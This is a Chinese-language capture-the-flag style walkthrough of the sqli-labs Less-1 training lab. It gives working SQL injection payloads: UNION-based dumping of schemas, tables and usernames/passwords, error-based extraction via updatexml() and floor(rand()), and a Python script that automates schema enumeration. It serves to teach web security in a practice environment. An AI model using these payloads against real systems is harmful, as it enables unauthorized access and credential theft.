sqli-labs Less-1 通关笔记

blog 205

0x01 判断注入类型

进入靶场传入id值

sqli-labs Less-1 通关笔记

第一步:猜解是什么类型的注入

# 传入id=2然后我们观察返回的用户名为Angelina 
http://192.168.1.4/sql/Less-1/?id=2  
sqli-labs Less-1 通关笔记
http://192.168.1.4/sql/Less-1/?id=2-1  # 我们传入id=2-1 如果返回的值和id=2的值一样,那么可以判断出存在数字型注入

从下图可以看出本题不是数字类型注入

sqli-labs Less-1 通关笔记

我们尝试是否是字符型注入

# 如果是字符型注入,我们在id=1的后面加上单引号。如果报错,那么可以判断出存在字符型注入。
http://192.168.1.6/sql/Less-1/?id=1'  
 ​
# 我们使用--注释掉sql语句中的单引号,因为我们闭合掉了前面的单引号,因此我们将后面的单引号注释掉。 # 这里的+号在url中表示是空格
 ​
# sql语句中的注释有  /*要注释内容*/   和  #  还有  -- 
# 注释的作用:程序在执行的时候会忽略注释。不会执行被注释掉的内容。
http://192.168.1.6/sql/Less-1/?id=1' --+
 ​
sqli-labs Less-1 通关笔记
sqli-labs Less-1 通关笔记

0x02 猜解列的列数

http://192.168.1.6/sql/Less-1/?id=1' order by 2 --+  返回正确页面
 ​
http://192.168.1.6/sql/Less-1/?id=1' order by 3 --+  返回正确页面
 ​
http://192.168.1.6/sql/Less-1/?id=1' order by 4 --+  返回错误页面  因此可以判断出这个数据表的列有3列。根据经验 盲猜为id、username、password
 ​
sqli-labs Less-1 通关笔记

0x03 使用union语句的联合注入

union为联合查询语句,可以同时执行两个select或者多个。

但是要注意,union语句前者的select 和 后者的select的列数要相等。才可以。

http://192.168.1.6/sql/Less-1/?id=-1' union select 1,2,3 --+
 ​
# 这里的后台页面的设置只能同时显示一个查询,所以我们想要我们后者的查询生效,我们要让前者的id等于一个不存在的数据,因此我们键入id=-1
# 在下图中可以看到,页面返回了我们的查询语句的内容2和3,因此可以判断出,2和3的位置存在数据的回显。
sqli-labs Less-1 通关笔记
 http://192.168.1.6/sql/Less-1/?id=-1' union select 1,version(),database() --+

 # 由于2和3的数据会回显到页面,所以我们将2和3修改为version()和database()
 # version()  查看当前数据库的版本
 # database()  查看当前使用的数据库名
sqli-labs Less-1 通关笔记

使用联合查询语句获取数据库中的所有数据库信息

http://192.168.1.6/sql/Less-1/?id=-1' union select 1,version(),group_concat(schema_name) from information_schema.schemata --+
sqli-labs Less-1 通关笔记

使用联合查询获取当前数据库的所有表

http://192.168.1.6/sql/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema=database() --+
 ​
 # database()  可以查询到当前使用的数据库
sqli-labs Less-1 通关笔记

使用联合查询语句获取users表中的所有字段(列)

http://192.168.1.6/sql/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
 ​
 # 可以发现存在username和password字段
sqli-labs Less-1 通关笔记

使用联合查询语句获取users表中username和password中的信息

http://192.168.1.6/sql/Less-1/?id=-1' union select 1,username,password from users--+
sqli-labs Less-1 通关笔记

以上是基于security数据库中的信息获取,其他数据库也是如此。

0x04 基于报错注入

在前面我们可以看到,输入id=1'的时候,页面会有报错信息回显,因此我们可以通过报错注入的方式注入。

sqli-labs Less-1 通关笔记

0x04.1 基于updatexml()函数

http://192.168.1.6/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select version())),1) --+
sqli-labs Less-1 通关笔记

获取所有的数据库名

http://192.168.1.6/sql/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata)),1) --+
 ​
 # 由于updatexml()函数返回的长度最大为32,所以不会返回完所有的数据库名称,我们可以配合截取函数left和right()进行获取。
sqli-labs Less-1 通关笔记
sqli-labs Less-1 通关笔记

获取当前数据库中的所有表

http://192.168.1.6/sql/Less-1/?id=1' and updatexml(1,right(concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())),40),1) --+
sqli-labs Less-1 通关笔记

获取emalis表中的所有字段

http://192.168.1.6/sql/Less-1/?id=1' and updatexml(1,right(concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='emails')),40),1) --+
sqli-labs Less-1 通关笔记

获取emalis表中的所有数据

http://192.168.1.6/sql/Less-1/?id=1' and updatexml(1,right(concat(0x7e,(select group_concat(0x7e,email_id) from emails)),40),1) --+

0x04.2 基于floor()函数的报错注入

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据

rand() 生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数

sqli-labs Less-1 通关笔记

group by是根据一个或多个列对结果集进行分组的sql语句

因此构造payload为:

http://localhost/sql/Less-1/?id=1' or (select 1 from (select count(*),concat((select version()),floor(rand(0)*2)) x from information_schema.tables group by x)a) --+
sqli-labs Less-1 通关笔记

获取数据库下的所有数据库名

http://localhost/sql/Less-1/?id=1' or (select 1 from (select count(*),concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2))x from information_schema.tables group by x)a) --+
sqli-labs Less-1 通关笔记

可以发现并没有获取完整的数据,猜测最大的返回值的长度可能是64,那么我们可以使用limit 0,1 进行遍历。

这里写一个小脚本(本人脚本编写较Cain 于是拿来练练手)

import requests

length = 0
while True:
    url = "http://localhost/sql/Less-1/?id=1' or (select 1 from (select count(*),concat((select schema_name from information_schema.schemata limit {},1),floor(rand(0)*2))x from information_schema.tables group by x)a) %23 ".format(length) # 这里的limit 后面的{} 实际为变量length的值
    # 为url发送get请求
    r = requests.get(url)
    # 每循环一次 length + 1 
    length += 1
    # 判断数据中是否存在Duplicate entry 
    if 'Duplicate entry' in r.text:
        # 如果存在则打印Duplicate entry后的数据,即数据库名
        print(r.text[563:585])
    else:
        # 如果页面不存在 Duplicate entry 则直接退出循环
        break
sqli-labs Less-1 通关笔记

通过上述结果可以发现将一些数据库的名称进行了遍历显示。将每行1 后面的去掉即为数据库的名称,因为1的出现是由于我们的payload构造。

遍历表名、列名、以及数据与其基本一致。这里不再演示。

分享